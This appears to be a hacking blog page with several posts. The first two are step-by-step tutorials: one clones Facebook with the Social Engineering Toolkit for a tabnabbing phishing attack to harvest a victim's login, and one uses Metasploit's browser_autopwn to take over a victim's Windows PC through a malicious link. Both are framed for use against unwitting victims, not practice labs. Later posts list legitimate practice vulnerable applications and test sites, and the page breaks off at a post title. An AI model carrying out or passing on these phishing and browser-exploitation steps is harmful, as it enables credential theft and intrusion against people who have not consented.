.:: Dark Site ::.

Tabnabbing Attack with social Engineering toolkit on Backtrack | kali

Hi everyone here is the post that basically explain about very fundamental attack known to be tab nabbing attack.the attack is very simple again you sent an link to the victim he/she click on it and redirected to your desired login page which looks like original and the after putting his/her credentials you get that in no time . 
so lets do this with social engineering toolkit as here more social engineering trick is very necessary . 
So before doing all do check your own BT/Kali System IP address by typing ifconfig command. 
then Open Your Backtrack terminal and Type cd /pentest/exploits/set 
Now Open Social Engineering Toolkit (SET) ./set 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mOCeh6T49bOGwtiZujht1oA12Rg7bDtIoMh2sHliLfnJO-2NfErxGQPetMnjX0w-kJTbsfdIkiqXtEgNATLykrZxlYkROjNvyRF9dvNAMSmqpYl37FhoWuzWP146-RLb03JvtFsOgJhw/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8mOCeh6T49bOGwtiZujht1oA12Rg7bDtIoMh2sHliLfnJO-2NfErxGQPetMnjX0w-kJTbsfdIkiqXtEgNATLykrZxlYkROjNvyRF9dvNAMSmqpYl37FhoWuzWP146-RLb03JvtFsOgJhw/s720/1.png" /></a></div>after that choose social engineering attack that is option 1 and then choose option 2, “Website Attack Vectors”. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXnvQM1rOT8QcacsgxOq08vMrzbiVjdLmvby4Ebwj_f_hrh24i5oDySrfTWUQsBmOhaMvrJvZ1Bb_zBsl-hmcrFi1RKYzQHPTgg1w2QT5CRTUUqMThZW2RageZa0DiEAlbXOAZ-tYunLS/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXnvQM1rOT8QcacsgxOq08vMrzbiVjdLmvby4Ebwj_f_hrh24i5oDySrfTWUQsBmOhaMvrJvZ1Bb_zBsl-hmcrFi1RKYzQHPTgg1w2QT5CRTUUqMThZW2RageZa0DiEAlbXOAZ-tYunLS/s520/2.png" /></a></div>a list of options will be populated you have to select option 4 “Tabnabbing Attack Method”. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyynYd_9GCyeMDOl0b0hf-IMfWMlMn45py7x8ORMFu510M7kKTjL9yedvj7vEcbnk4urT99hMRHwDYxoT9JJn_iOB0x4NOXQKD3Q4Yj6lHSOm4uW33FVtmUFT2iV5OsN7Pm3prYhJgB1zM/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyynYd_9GCyeMDOl0b0hf-IMfWMlMn45py7x8ORMFu510M7kKTjL9yedvj7vEcbnk4urT99hMRHwDYxoT9JJn_iOB0x4NOXQKD3Q4Yj6lHSOm4uW33FVtmUFT2iV5OsN7Pm3prYhJgB1zM/s520/3.png" /></a></div>next choose option 2 “Site Cloner”. 
it will ask for your system ip which you can give that you got from ifconfig (your backtrack machine ip) 
Then Enter the URL of the site you want to clone. In this case http://www.facebook.com and hit enter. SET will clone up the web site. And press return to continue. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPr-T2k0wOCGp2LOn9_tSipWfdFyGWfk6M7Iam6Zt1Tq7Hi1kixJATeqMG3wz75m77kjVjou5d5kcmykAZk6kGCRB-M95AP7_zUZ4cbtkk2eDgS5Dvdr_dy08FrNYvZSx9LJ5kSsAweP6u/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPr-T2k0wOCGp2LOn9_tSipWfdFyGWfk6M7Iam6Zt1Tq7Hi1kixJATeqMG3wz75m77kjVjou5d5kcmykAZk6kGCRB-M95AP7_zUZ4cbtkk2eDgS5Dvdr_dy08FrNYvZSx9LJ5kSsAweP6u/s520/5.png" /></a></div>Now convert your URL into Google URL using goo.gl and send this link address to your victim via Email or Chat or any other social way you can make it reach to victim. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHX5huRp5OrW-sQ3bCw9pqvykPX2ACAXGrr9YyJoEwn7QcvgZzEM6HVjcgvbODu5hmaCQHJobjcU6t0b48a0YF6N_63GnJ46wZtbddX_prk0qPvjhS_TeLqCyzWcV81MqAA_nC59fm5wND/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHX5huRp5OrW-sQ3bCw9pqvykPX2ACAXGrr9YyJoEwn7QcvgZzEM6HVjcgvbODu5hmaCQHJobjcU6t0b48a0YF6N_63GnJ46wZtbddX_prk0qPvjhS_TeLqCyzWcV81MqAA_nC59fm5wND/s520/7.png" /></a></div>When victim open in their browser it should be a message that the page is still loading. so victim start to open another tab. As soon as victim open new tab, our fake website start working. That script will redirect the victim to the phishing page your derived. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMlmpIRhfnDnHM7CGWvWsmMY3IehCgTqzLAX_U6ki3w6T54pbokySoARQdGXaxbs90Y8VjEY7WdbpES-gGROYCn-tIwtDLjPX1XkJsXLmAH8_224xCdb67VylB3rOg52aAn4TYSgy3XRb/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMlmpIRhfnDnHM7CGWvWsmMY3IehCgTqzLAX_U6ki3w6T54pbokySoARQdGXaxbs90Y8VjEY7WdbpES-gGROYCn-tIwtDLjPX1XkJsXLmAH8_224xCdb67VylB3rOg52aAn4TYSgy3XRb/s520/8.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv47HfRzZX5REPWkHXVb_cpMVSGCu-bCrUUHDCMDWxXHn-m-a5oK4sNS7Q-vPLcNCOip_pKKVHN39WQNevX2peYFfQRHkJapN9oVMnJtSLx2PV5eXG3ASqgOZjDzbU01L9-gOEhIqUpwly/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv47HfRzZX5REPWkHXVb_cpMVSGCu-bCrUUHDCMDWxXHn-m-a5oK4sNS7Q-vPLcNCOip_pKKVHN39WQNevX2peYFfQRHkJapN9oVMnJtSLx2PV5eXG3ASqgOZjDzbU01L9-gOEhIqUpwly/s320/9.png" /></a></div>here yyou goes these are the user id and password of the victim :D. 
be safe keep hacking :).

Tabnabbing Attack with social Engineering toolkit on Backtrack | kali

Hi everyone here is the post that basically explain about very fundamental attack known to be tab nabbing attack.the attack is very simple a...

Hack Remote Windows 7 | XP PC With Metasploit (Browser Auto Pwn Vulnerability)

Hi all this is one of the popular attack know as browser auto pwn Vulnerability which we are going to use in this tutorial. 
This is a simple vulnerability that allow attacker to hack to remote machine just by a single click by the victim. 
-::Using Metasploit::- 
in metasploit there is a module known as browser autopwn.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open. 
 
follow these steps to carry out the attack. 
open you backtrack/kali terminal make sure metasploit is there (which is present by default :D ). 
type #msfconsole on terminal 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbzcoSzRv2ObzIjC7bZ-hh6rurjLnRlc6NFdRW1aho1zZkQ7vGTCmGYfXhwqWS6NKv5yXiCVg7ZP0jP5-DYL5op64Q7mO-n8_KLLZ2o6QzzlT_W3EzT7Qv-d2tEHIK7dPGMTl9EQptrKnO/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbzcoSzRv2ObzIjC7bZ-hh6rurjLnRlc6NFdRW1aho1zZkQ7vGTCmGYfXhwqWS6NKv5yXiCVg7ZP0jP5-DYL5op64Q7mO-n8_KLLZ2o6QzzlT_W3EzT7Qv-d2tEHIK7dPGMTl9EQptrKnO/s520/msfconsole.png" /></a></div> 
Now follow these steps as show in image 
use the browser_autopwn module 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYdqnkgj6U7hQiB-GmD0PyPYV33iGG1lE9ebC9LOMWwZ8FIDmnh5WqbYhspVXP8B6OfGxo3U8LA44r5qjPrkpOVuHvkDKM5aWA380wbZMc3th45NoA0KI0TYFBI-oXwr0I9J7TwmYsU4DB/s1600/use+auxiliry.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use browser auto pwn" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYdqnkgj6U7hQiB-GmD0PyPYV33iGG1lE9ebC9LOMWwZ8FIDmnh5WqbYhspVXP8B6OfGxo3U8LA44r5qjPrkpOVuHvkDKM5aWA380wbZMc3th45NoA0KI0TYFBI-oXwr0I9J7TwmYsU4DB/s920/use+auxiliry.png" width="580" /></a></div> 
We have set up the LHOST with our IP address,the port to be 4445 and the URIPATH with / in order to prevent metasploit to set up random URL’s.now you will see below image. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMr-rPzCaHbvyu8wJ_Iv-uA1t25A-pvfJHsv2AvqFStRY5ihEvfKJkWNteXm3WrfJAk2Z6fE2tgCAL_mXGD_wzY7cVHQbj2ZxPNK-hkCpKqoQp_5u1PNtupl1tEvCPLEO33HdV6nolfWKd/s1600/server+started.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="server started with 16 module" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMr-rPzCaHbvyu8wJ_Iv-uA1t25A-pvfJHsv2AvqFStRY5ihEvfKJkWNteXm3WrfJAk2Z6fE2tgCAL_mXGD_wzY7cVHQbj2ZxPNK-hkCpKqoQp_5u1PNtupl1tEvCPLEO33HdV6nolfWKd/s320/server+started.png" /></a></div>Server started with 16 module. 
next we need to send the link to victim (like here http://192.168.205.131:8080/).as soon as the victim open the link its all done. 
we have the meterpreter shell control in out hand you can do various activity you wish with meterpreter shell functionality. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyoIKuudbNSWEo_R72nyn9jfHFUrRDeOPi3O112SaTxra2oV7mSTph3FWoz81p4ZQFB85KbHdtTMO-apCJVrTFaKZVWkjDG_tThozXgs8ld13tSCHwV6hz-J9mvDFHryfwNeyC8Wsemvk1/s1600/hacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyoIKuudbNSWEo_R72nyn9jfHFUrRDeOPi3O112SaTxra2oV7mSTph3FWoz81p4ZQFB85KbHdtTMO-apCJVrTFaKZVWkjDG_tThozXgs8ld13tSCHwV6hz-J9mvDFHryfwNeyC8Wsemvk1/s920/hacked.png" /></a></div> 
Enjoy the hack of your victim machine have fun .

Hack Remote Windows 7 | XP PC With Metasploit (Browser Auto Pwn Vulnerability)

Hi all this is one of the popular attack know as browser auto pwn Vulnerability which we are going to use in this tutorial. This is a simpl...

Downloadable Vulnerable Web Application For Practice Hacking Skills

:Part2: 
In part1 of this post i have listed <a href="http://www.darksite.co.in/2014/01/online-sites-for-practice-hacking-skills.html">Online | Live Sites For Practice Web Application Hacking Skills</a> Now here i will give you links for downloading iso/zip file which you can install and enjoy in best possible way. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL4T9YjlnAEoChIWYLi7c1SyMoAeQ4NcNQy5-M2C0zrgZ_Yos3gKmkOfxBQehu5jlThveQsEiRZ1ClJRFUzaGcbHITlcJx8KryPYZpip4ApR4GusaSVBeOjR0ZCVUKoD69rbLbcS1ieMr0/s1600/offline+hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hacking practice vulnerable" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL4T9YjlnAEoChIWYLi7c1SyMoAeQ4NcNQy5-M2C0zrgZ_Yos3gKmkOfxBQehu5jlThveQsEiRZ1ClJRFUzaGcbHITlcJx8KryPYZpip4ApR4GusaSVBeOjR0ZCVUKoD69rbLbcS1ieMr0/s1600/offline+hacking.jpg" /></a></div>with these vulnerable web applications you can test your web hacking knowledge, pen-testing tools, skills, and kung-fu on, with an added bonus... without going to jail :) The vulnerable web applications have been classified in two categories: offline, VMs/ISOs. 
The following list references downloadable vulnerable web applications to play with that can be installed on a standard operating system (Linux, Windows, Mac OS X, etc) using a standard web platform (Apache/PHP, Tomcat/Java, IIS/.NET, etc).i am sure this will sharp your hacking skill,take these as a challenge and i am sure this will be a boost for you. 
<h2>List of offline VM/Isos For Practicing Hacking Skills </h2> 
<li>The BodgeIt Store (Java): <a href="http://code.google.com/p/bodgeit/">http://code.google.com/p/bodgeit/</a> (<a href="http://code.google.com/p/bodgeit/downloads/list">download</a>)</li> 
 
<li>OWASP Bricks (PHP): <a href="http://sechow.com/bricks/index.html">http://sechow.com/bricks/index.html</a> (<a href="http://sechow.com/bricks/download.html">download</a> & <a href="http://sechow.com/bricks/docs/">docs</a>)</li> 
 
<li>The ButterFly Security Project (PHP): <a href="http://sourceforge.net/projects/thebutterflytmp/">http://sourceforge.net/projects/thebutterflytmp/</a> (<a href="http://sourceforge.net/projects/thebutterflytmp/files/">download</a>)</li> 
 
<li>bWAPP - an extremely buggy web application! (PHP): <a href="http://www.itsecgames.com/">http://www.itsecgames.com</a> (<a href="http://sourceforge.net/projects/bwapp/files/">download</a>) (<a href="http://itsecgames.blogspot.be/2013/01/bwapp-installation.html">docs</a>)</li> 
 
<li>Damn Vulnerable Web Application - DVWA (PHP): <a href="http://www.dvwa.co.uk/">http://www.dvwa.co.uk</a> (<a href="http://code.google.com/p/dvwa/downloads/list">download</a>) </li> 
 
<li>Damn Vulnerable Web Services - DVWS (PHP): <a href="http://dvws.secureideas.net/">http://dvws.secureideas.net</a> (<a href="http://dvws.secureideas.net/downloads/files/dvws.tgz">download</a>)</li> 
 
<li>OWASP Hackademic Challenges Project (PHP): <a href="https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project">https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project</a> (<a href="https://code.google.com/p/owasp-hackademic-challenges/">download</a>)</li> 
 
<li>Google Gruyere (Python): <a href="http://google-gruyere.appspot.com/">http://google-gruyere.appspot.com</a> (<a href="http://google-gruyere.appspot.com/gruyere-code.zip">download</a>)</li> 
 
<li>Hacme Bank (.NET): <a href="http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx">http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacme-bank.aspx">download</a>)</li> 
 
<li>Hacme Books (Java): <a href="http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacmebooks.aspx">download</a>)</li> 
 
<li>Hacme Casino (Ruby on Rails): <a href="http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx">http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacme-casino.aspx">download</a>)</li> 
 
<li>Hacme Shipping (ColdFusion): <a href="http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacmeshipping.aspx">download</a>)</li> 
 
<li>Hacme Travel (C++): <a href="http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacmetravel.aspx">download</a>)</li> 
 
<li>OWASP Insecure Web App Project (Java): <a href="https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project">https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project</a> (<a href="http://sourceforge.net/projects/insecurewebapp/files/">download</a> - orphaned)</li> 
 
<li>Mutillidae (PHP): <a href="http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10">http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10</a> (<a href="http://www.irongeek.com/mutillidae/">download</a>)</li> 
 
<li>OWASP .NET Goat (C#): <a href="https://owasp.codeplex.com/">https://owasp.codeplex.com</a> (<a href="https://owasp.codeplex.com/SourceControl/list/changesets#">download</a>)</li> 
 
<li>Peruggia (PHP): <a href="http://peruggia.sourceforge.net/">http://peruggia.sourceforge.net</a> (<a href="http://sourceforge.net/projects/peruggia/files/">download</a>)</li> 
 
<li>Puzzlemall (Java): <a href="https://code.google.com/p/puzzlemall/">https://code.google.com/p/puzzlemall/</a> (<a href="https://code.google.com/p/puzzlemall/downloads/list">download</a>) (<a href="https://code.google.com/p/puzzlemall/downloads/list">docs</a>)</li> 
 
<li>Stanford Securibench (Java) & <a href="http://suif.stanford.edu/~livshits/work/securibench-micro/">Micro</a>: <a href="http://suif.stanford.edu/~livshits/securibench/">http://suif.stanford.edu/~livshits/securibench/</a> (<a href="http://suif.stanford.edu/~livshits/securibench/download.html">download</a>)</li> 
 
<li>SQLI-labs (PHP): <a href="https://github.com/Audi-1/sqli-labs">https://github.com/Audi-1/sqli-labs</a> (<a href="https://github.com/Audi-1/sqli-labs/archive/master.zip">download</a>) (<a href="http://dummy2dummies.blogspot.com/">blog</a>)</li> 
 
<li>SQLol (PHP): <a href="https://github.com/SpiderLabs/SQLol">https://github.com/SpiderLabs/SQLol</a> (<a href="https://github.com/SpiderLabs/SQLol/archive/master.zip">download</a>)</li> 
 
<li>OWASP Vicnum Project (Perl & PHP): <a href="https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project">https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project</a> (<a href="http://sourceforge.net/projects/vicnum/files/">download</a>)</li> 
 
<li>VulnApp (.NET): <a href="http://www.nth-dimension.org.uk/blog.php?id=88">http://www.nth-dimension.org.uk/blog.php?id=88</a> (<a href="http://projects.nth-dimension.org.uk/dir?d=VulnApp">CVS download</a> & <a href="http://projects.nth-dimension.org.uk/rptview?rn=6">vulns</a>)</li> 
 
<li>WackoPicko (PHP): <a href="https://github.com/adamdoupe/WackoPicko">https://github.com/adamdoupe/WackoPicko</a> (<a href="https://github.com/adamdoupe/WackoPicko/zipball/master">download</a>) (<a href="http://cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf">whitepaper</a>)</li> 
 
<li>OWASP WebGoat (Java): <a href="https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project">https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project</a> (<a href="http://code.google.com/p/webgoat/downloads/list">download</a>) (<a href="https://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents">guide</a>)</li> 
 
<li>OWASP ZAP WAVE - Web Application Vulnerability Examples (Java): <a href="http://code.google.com/p/zaproxy/downloads/list">http://code.google.com/p/zaproxy/downloads/list</a></li> 
 
<li>Wavsep - Web Application Vulnerability Scanner Evaluation Project (Java): <a href="https://code.google.com/p/wavsep/">https://code.google.com/p/wavsep/</a> (<a href="https://code.google.com/p/wavsep/downloads/list">download</a>) (<a href="https://code.google.com/p/wavsep/downloads/list">docs</a>)</li> 
 
<li>WIVET - Web Input Vector Extractor Teaser: <a href="https://code.google.com/p/wivet/">https://code.google.com/p/wivet/</a> (<a href="http://www.webguvenligi.org/projeler/wivet">download</a>) (<a href="https://code.google.com/p/wivet/downloads/list?can=1&q=">tests</a>)</li> 
 
<h2>Virtual Machines (VMs) or ISO images</h2> 
The following list references pre-installed and ready to use virtual machines (VMs) or ISO images that contain one or multiple vulnerable web applications to play with. 
<li>BadStore (ISO): <a href="http://www.badstore.net/">http://www.badstore.net</a> (<a href="http://www.badstore.net/register.htm">download</a> - registration required)</li> 
 
<li>Bee-Box (bWAPP VMware): <a href="http://sourceforge.net/projects/bwapp/files/bee-box/">http://sourceforge.net/projects/bwapp/files/bee-box/</a></li> 
 
<li>OWASP BWA - Broken Web Applications Project (VMware - <a href="http://code.google.com/p/owaspbwa/wiki/ProjectSummary">list</a>): <a href="https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project">https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project</a> (<a href="http://code.google.com/p/owaspbwa/wiki/Downloads">download</a>)</li> 
 
<li>Drunk Admin Web Hacking Challenge (VMware): <a href="https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/">https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/</a> (<a href="http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip">download</a>) </li> 
 
<li>Exploit.co.il Vuln Web App (VMware): <a href="http://exploit.co.il/projects/vuln-web-app/">http://exploit.co.il/projects/vuln-web-app/</a> (<a href="http://sourceforge.net/projects/exploitcoilvuln/files/">download</a>)</li> 
 
<li>GameOver (VMware): <a href="http://sourceforge.net/projects/null-gameover/">http://sourceforge.net/projects/null-gameover/</a> (<a href="http://sourceforge.net/projects/null-gameover/files/">download</a>)</li> 
 
<li>Hackxor (VMware): <a href="http://hackxor.sourceforge.net/cgi-bin/index.pl">http://hackxor.sourceforge.net/cgi-bin/index.pl</a> (<a href="http://sourceforge.net/projects/hackxor/files/">download</a>) (<a href="http://hackxor.sourceforge.net/cgi-bin/hints.pl">hints&tips</a>)</li> 
 
<li>Hacme Bank Prebuilt VM (VMware): <a href="http://ninja-sec.com/index.php/hacme-bank-prebuilt-vmware-image-ninja-sec-com/">http://ninja-sec.com/index.php/hacme-bank-prebuilt-vmware-image-ninja-sec-com/</a> (<a href="http://dc121.4shared.com/download/wwPhUxMQ/hackme_bank_vm_Ninja-Sec.zip">download</a>)</li> 
 
<li>Kioptrix4 (VMware & Hyper-V): <a href="http://www.kioptrix.com/blog/?p=604">http://www.kioptrix.com/blog/?p=604</a> (<a href="http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar">download</a>) </li> 
 
<li>LAMPSecurity (VMware): <a href="http://sourceforge.net/projects/lampsecurity/">http://sourceforge.net/projects/lampsecurity/</a> (<a href="http://sourceforge.net/projects/lampsecurity/files/">download</a>) (<a href="http://sourceforge.net/projects/lampsecurity/files/Documentation/">doc</a>)</li> 
 
<li>Metasploitable (VMware): <a href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html">http://blog.metasploit.com/2010/05/introducing-metasploitable.html</a> (<a href="http://updates.metasploit.com/data/Metasploitable.zip.torrent">download</a> - torrent) (<a href="http://www.metasploit.com/learn-more/how-do-i-use-it/test-lab.jsp">doc</a>)</li> 
 
<li>Metasploitable 2 (VMware):  
<a href="https://community.rapid7.com/docs/DOC-1875">https://community.rapid7.com/docs/DOC-1875</a> (<a href="https://sourceforge.net/projects/metasploitable/files/Metasploitable2/">download</a>)</li> 
 
<li>Moth (VMware): <a href="http://www.bonsai-sec.com/en/research/moth.php">http://www.bonsai-sec.com/en/research/moth.php</a> (<a href="http://sourceforge.net/projects/w3af/files/moth/moth/">download</a>)</li> 
 
<li>PentesterLab - The Exercises (ISO & PDF): <a href="https://www.pentesterlab.com/exercises/">https://www.pentesterlab.com/exercises/</a> </li> 
 
<li>PHDays I-Bank (VMware):  
<a href="http://phdays.blogspot.com.es/2012/05/once-again-about-remote-banking.html">http://phdays.blogspot.com.es/2012/05/once-again-about-remote-banking.html</a> (<a href="http://downloads.phdays.com/phdays_ibank_vm.zip">download</a>)</li> 
 
<li>Samurai WTF (ISO - list): <a href="http://www.samurai-wtf.org/">http://www.samurai-wtf.org</a> (<a href="http://sourceforge.net/projects/samurai/files/">download</a>)</li> 
 
<li>Sauron (Quemu) [Spanish]: <a href="http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html">http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html</a> (<a href="http://sg6-labs.blogspot.com/search/label/SecGame">solutions</a>)</li> 
 
<li>UltimateLAMP (VMware - <a href="http://www.metasploit.com/learn-more/how-do-i-use-it/test-lab.jsp">list</a>): <a href="http://ronaldbradford.com/blog/ultimatelamp-2006-05-19/">http://ronaldbradford.com/blog/ultimatelamp-2006-05-19/</a> (<a href="http://ronaldbradford.com/tmp/UltimateLAMP-0.2.zip">download</a>)</li> 
 
<li>Virtual Hacking Lab (ZIP): <a href="http://sourceforge.net/projects/virtualhacking/">http://sourceforge.net/projects/virtualhacking/</a> (<a href="http://sourceforge.net/projects/virtualhacking/files/">download</a>)</li> 
 
<li>Web Security Dojo (VMware, VirtualBox - <a href="http://www.mavensecurity.com/web_security_dojo/">list</a>): <a href="http://www.mavensecurity.com/web_security_dojo/">http://www.mavensecurity.com/web_security_dojo/</a> (<a href="http://sourceforge.net/projects/websecuritydojo/files/">download</a>)</li> 
 
You can have a lots of fun time with these so why to waste time download and gets started now .Happy hacking :)

Downloadable Vulnerable Web Application For Practice Hacking Skills

: Part2 : In part1 of this post i have listed Online | Live Sites For Practice Web Application Hacking Skills Now here i will give you lin...

Online | Live Sites For Practice Web Application Hacking Skills

:Part1: 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="online live site to practice hacking skills" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" /></a></div>Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where students/new excited security learner ask me "is there any site available to practice all this hacking skills legally?" . 
 
So here are list of online where you can test your practice its complete safe . next post i will share how you can mount own server on vmware and practice locally from own computer. 
 
These are few online and live vulnerable web applications available on the Internet to play with. 
 
Acunetix: 
<a href="http://testasp.vulnweb.com">http://testasp.vulnweb.com</a> (Forum - ASP) 
<a href="http://testaspnet.vulnweb.com">http://testaspnet.vulnweb.com</a> (Blog - .NET) 
<a href="http://testphp.vulnweb.com">http://testphp.vulnweb.com</a> (Art shopping - PHP) 
Cenzic CrackMeBank: <a href="http://crackme.cenzic.com">http://crackme.cenzic.com</a> 
Google Gruyere (Python): <a href="http://google-gruyere.appspot.com/start">http://google-gruyere.appspot.com/start</a> 
Hacking-Lab (eg. OWASP Top 10): <a href="https://www.hacking-lab.com/events/registerform.html?eventid=245">https://www.hacking-lab.com/events/registerform.html?eventid=245</a> 
Hack.me (beta): <a href="https://hack.me">https://hack.me</a> 
HackThisSite (HTS - Basic & Realistic (web) Missions): <a href="http://www.hackthissite.org">http://www.hackthissite.org</a> 
Hackxor online demo: <a href="http://hackxor.sourceforge.net/cgi-bin/login.pl">http://hackxor.sourceforge.net/cgi-bin/login.pl</a> (algo/smurf) 
HP/SpiDynamics Free Bank Online: <a href="http://zero.webappsecurity.com">http://zero.webappsecurity.com</a> (admin/admin) 
IBM/Watchfire AltoroMutual: <a href="http://demo.testfire.net">http://demo.testfire.net</a> (jsmith/Demo1234) 
NTOSpider Web Scanner Test Site: <a href="http://www.webscantest.com">http://www.webscantest.com</a> (testuser/testpass) 
OWASP Hackademic Challenges Project - Live (PHP - Joomla): <a href="http://hackademic1.teilar.gr">http://hackademic1.teilar.gr</a> 
Pentester Academy: <a href="http://pentesteracademylab.appspot.com">http://pentesteracademylab.appspot.com</a>(One of my fav) 
 
Enjoy all these different web vulnerable environments and sharp your web app pen-testing skills and tools practicing with them. 
On Next part i will post the list downloadable file which you can use for boost your hacking skills

Online | Live Sites For Practice Web Application Hacking Skills

: Part1 : Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where...

Hack Windows XP PC (Theme Arbitrary Code Execution) with Kali linux

Happy Republic Day to all Indians Proud of being Indian jai Hind!!! 
 
